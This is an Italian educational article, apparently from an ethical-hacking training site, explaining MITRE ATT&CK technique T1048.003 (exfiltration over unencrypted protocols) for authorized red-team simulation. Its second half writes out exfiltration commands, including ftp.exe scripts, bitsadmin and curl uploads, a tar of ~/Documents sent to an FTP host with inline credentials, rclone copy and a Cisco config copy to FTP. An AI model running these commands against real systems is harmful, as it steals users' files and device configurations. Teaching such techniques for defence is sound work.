Esfiltrazione in Chiaro: Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003)

La tecnica T1048.003 descrive l'esfiltrazione di dati attraverso protocolli di rete non cifrati, distinti dal canale di command and control primario. Rientra nella tattica TA0010 (Exfiltration) del framework MITRE ATT&CK, collocandosi nella fase finale della kill chain in cui l'attaccante rimuove informazioni sensibili dall'ambiente compromesso.

I protocolli comunemente abusati includono FTP, HTTP, SMTP, TFTP e DNS, spesso arricchiti da tecniche di offuscamento come encoding Base64, compressione, o incapsulamento dei dati nei campi header o nei sottodomini di query DNS. La scelta di un canale separato dal C2 principale offre agli attaccanti resilienza operativa: anche se il canale di controllo viene bloccato, l'esfiltrazione può proseguire, e viceversa.

I dati MITRE documentano 11 gruppi APT e 22 famiglie malware che implementano questa tecnica, con 1 campagna tracciata (C0017 di APT41). L'impatto è significativo perché il traffico in chiaro, pur essendo teoricamente rilevabile, si mimetizza spesso nel volume di traffico legittimo HTTP o DNS. Gruppi come APT32 e APT41 hanno perfezionato l'uso del tunneling DNS per esfiltrare PII, mentre attori come FIN6, FIN8 e Wizard Spider preferiscono FTP e HTTP POST per il trasferimento diretto di grandi archivi. Le mitigazioni MITRE si concentrano su segmentazione, filtraggio del traffico, IPS di rete e Data Loss Prevention.

In un contesto di red teaming autorizzato, la simulazione di T1048.003 consente di valutare l'efficacia dei controlli DLP e del monitoring perimetrale. L'approccio classico prevede la creazione di un archivio compresso dei dati target e il trasferimento su infrastruttura controllata via protocollo in chiaro.

Su Windows, il canale FTP nativo resta uno dei metodi più abusati per la sua semplicità. Un attaccante può utilizzare ftp.exe in modalità script:

ftp -s:script.txt ftp.example-lab.local

dove il file di script contiene le direttive user, put archive.rar e bye. In alternativa, BITSAdmin (nativo Windows) consente upload via bitsadmin /transfer job /upload verso endpoint HTTP, tecnica documentata dal software S0190 nei dati MITRE. Un'altra opzione è curl.exe, ora presente di default in Windows 10/11, che permette curl -T archive.zip ftp://lab-server/incoming/ con credenziali inline.

Su Linux e macOS, i tool preferiti sono curl e wget. Il comando curl --upload-file è esattamente quello osservato nel malware CookieMiner (S0492) per esfiltrare dati via HTTP. Su macOS, WindTail utilizza /usr/bin/curl per upload automatici. Un esempio operativo:

tar czf /tmp/data.tgz ~/Documents && curl -T /tmp/data.tgz ftp://lab.local --user red:team

Per simulazioni di tunneling DNS — la tecnica usata da APT32 e APT41 in C0017 — sono utili strumenti come dnscat2 (open source, GitHub iagox86/dnscat2) e iodine (open source). Consentono di incapsulare payload nei sottodomini di query DNS ricorsive, replicando fedelmente il pattern osservato in campo.

Per l'automazione dell'esfiltrazione multi-protocollo, Rclone (open source) è oggi lo standard de facto tra gli operatori ransomware e figura come S1040 nei dati MITRE: supporta FTP, HTTP, WebDAV e molti altri backend. Un comando tipico è rclone copy /data remote:bucket --transfers 8.

In ambiente ESXi, la simulazione può prevedere l'uso della shell BusyBox per copiare file .vmx o .vmdk verso destinazioni FTP esterne, utile per validare la segmentazione della management network. Su network device Cisco, il comando copy running-config ftp: replica il pattern di Salt Typhoon documentato in G1045.

Ogni test deve avvenire in ambiente isolato con dati sintetici, mai su PII reali, e con autorizzazione scritta del cliente.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.